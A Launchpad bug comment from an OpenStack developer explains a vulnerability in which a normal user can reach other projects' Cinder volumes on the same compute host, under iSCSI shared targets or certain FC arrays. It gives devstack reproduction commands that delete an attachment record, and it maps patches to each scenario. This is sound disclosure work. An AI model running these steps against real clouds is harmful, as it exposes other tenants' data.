Comment 57 for bug 2004555

Revision history for this message
Gorka Eguileor (gorka) wrote : Re: [ussuri] Wrong volume attachment - volumes overlapping when connected through iscsi on host

Hi Jeremy,

There are multiple cases/scenarios captured in this bug:

- User exploitable scenario.
- Unintentional scenarios that can happen after destroying a VM with an
  attached volume fails to cleanly detach the volume.
- Other scenarios.

The summary of the user exploitable vulnerability would be something like:

A normal user can get access other users/projects volumes that are connected to
the same compute host where they are running an instance.

This issue doesn't affect every OpenStack deployment, for the exploit to
work there needs to be the right combination of nova configuration,
storage transport protocol, cinder driver approach to mapping volumes,
and storage array behavior.

I don't have access to all storage types supported by OpenStack, so I've
only looked into: iSCSI, FCP, NVMe-oF, and RBD.

It is my believe that this only affects SCSI based transport protocols
(iSCSI and FCP) and only under the following conditions:

- For iSCSI the Cinder driver needs to be using what we call shared
  targets: the same iSCSI target and portal tuple is used to present
  multiple volumes on a compute host.

- For FCP it depends on the storage array:
  - Pure: Affected.
  - 3PAR: Unaffected, because it sends the "Power-on" message that
    triggers a udev rule that tells multipathd to make appropriate
    changes.

The way to reproduce the issue is very straightforward, it's all about
telling Cinder to delete an attachment record from a volume attached to
a VM instead of doing the detachment the right way via Nova. Then when
the next volume from that same backend is attached to the host our VM
will have access to it.

I'll give the steps using a devstack deployment, but the same would
happen on a Triple-O deployment.

The only pre-requirement is that Cinder is configured to use one of the
storage array and driver combinations that is affected by this, as this
happens both in single paths as well as multipath attachments.

Steps for the demo user to have access to a volume owned by the admin
user to have access :

  $ . openrc demo demo
  $ nova boot --flavor cirros256 --image cirros-0.5.2-x86_64-disk --nic none myvm
  $ cinder create --name demo 1
  $ openstack server add volume myvm demo

  # The next 2 lines are the exploit which delete the attachment record
  $ attach_id=`openstack --os-volume-api-version=3.33 volume attachment list -c ID -f value`
  $ cinder --os-volume-api-version=3.27 attachment-delete $attach_id

  $ . openrc admin admin
  $ nova boot --flavor cirros256 --image cirros-0.5.2-x86_64-disk --nic none admin_vm
  $ cinder create --name admin 1
  $ openstack server add volume admin_vm admin

  # Both VMs use the same volume, so the demo VM can read the admin volume
  $ sudo virsh domblklist instance-00000001
  $ sudo virsh domblklist instance-00000002

The patches that have been submitted are related to the different
scenarios/cases described before:

- User exploitable scenario ==> Cinder patch
- Unintentional scenarios that can happen after destroying a VM with an
  attached volume fails to cleanly detach the volume ==> Nova and small
  os-brick patch
- Other scenarios ==> Huge os-brick patch

The "recheck_wwid yes" option in multipath.conf (mentioned in the bug
is something that can be done in the open afterwards) could help in
some scenarios, but without the huge os-brick patch it could also lead
to an instance attaching the wrong multipath device.

Hope that helps.